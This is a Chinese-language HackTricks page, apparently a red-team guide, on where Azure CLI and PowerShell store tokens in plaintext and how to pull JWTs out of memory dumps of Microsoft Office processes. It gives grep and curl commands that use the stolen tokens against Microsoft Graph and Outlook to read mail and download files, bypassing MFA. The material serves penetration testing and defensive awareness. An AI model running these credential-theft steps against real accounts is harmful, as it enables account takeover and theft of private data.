Az - 本地云凭证
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
本地令牌存储和安全考虑
Azure CLI(命令行界面)
Azure CLI 本地存储令牌和敏感数据,带来安全隐患:
- 访问令牌:以明文形式存储在
accessTokens.json中,位于C:\Users\<username>\.Azure。 - 订阅信息:
azureProfile.json在同一目录中,保存订阅详细信息。 - 日志文件:
.azure中的ErrorRecords文件夹可能包含暴露凭证的日志,例如:
- 嵌入凭证的执行命令。
- 使用令牌访问的 URL,可能泄露敏感信息。
Azure PowerShell
Azure PowerShell 也存储令牌和敏感数据,可以本地访问:
- 访问令牌:
TokenCache.dat,位于C:\Users\<username>\.Azure,以明文形式存储访问令牌。 - 服务主体秘密:这些以未加密形式存储在
AzureRmContext.json中。 - 令牌保存功能:用户可以使用
Save-AzContext命令持久化令牌,使用时应谨慎以防止未经授权的访问。
自动工具查找它们
内存中的令牌
如 此视频 中所述,一些与云同步的 Microsoft 软件(Excel、Teams…)可能会 以明文形式在内存中存储访问令牌。因此,仅需 转储 该进程的 内存 并 grep 查找 JWT 令牌,可能会让您访问受害者在云中的多个资源,绕过 MFA。
步骤:
- 使用您喜欢的工具转储与 EntraID 用户同步的 Excel 进程。
- 运行:
string excel.dmp | grep 'eyJ0'并在输出中找到多个令牌。 - 找到您最感兴趣的令牌并对其运行工具:
# Check the identity of the token
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq
# Check the email (you need a token authorized in login.microsoftonline.com)
curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq
# Download a file from Teams
## You need a token that can access graph.microsoft.com
## Then, find the <site_id> inside the memory and call
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq
## Then, list one drive
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq
## Finally, download a file from that drive:
curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
请注意,这种访问令牌也可以在其他进程中找到。
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
HackTricks Cloud

